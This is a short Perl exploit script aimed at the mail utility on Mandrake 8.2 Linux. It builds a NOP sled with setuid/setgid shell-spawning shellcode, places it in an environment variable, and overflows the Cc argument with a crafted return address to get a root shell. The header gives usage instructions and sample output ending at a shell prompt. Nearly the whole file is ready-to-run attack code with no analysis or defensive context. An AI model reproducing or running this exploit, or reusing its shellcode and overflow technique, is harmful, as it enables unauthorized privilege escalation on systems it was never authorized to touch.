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- #!/usr/bin/perl
- ###############################
- # Mandrake 8.2 /usr/mail local exploit
- #
- # Usage:
- # perl d86mail.pl [offset]
- # Then enter "." (dot) and press 'Enter'
- #
- # Example:
- # [satan@localhost my]$ perl d86mail.pl
- # eip: 0xbffffddd
- # .[enter]
- # Cc: too long to edit
- # sh-2.05$
- ###############################
-
- $shellcode =
- "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
- "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- $size = 1000;
- $size2 = 8204;
- $retaddr = 0xbffffddd;
- $nop = "\x90";
- $offset = 0;
- if (@ARGV == 1) {
- $offset = $ARGV[0];
- }
- for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
- $buffer .= $nop;
- }
- for ($i = 0; $i < ($size2); $i++) {
- $buffer2 .= "A";
- }
- $buffer .= $shellcode;
- print "eip: 0x", sprintf('%lx',($retaddr + $offset)), "\n";
- local($ENV{'EVILBUF'}) = $buffer;
- $newret = pack('l', ($retaddr + $offset));
- $buffer2 .= $newret;
- exec("mail -s wow -c $buffer2 root@localhost");
-
- #EOF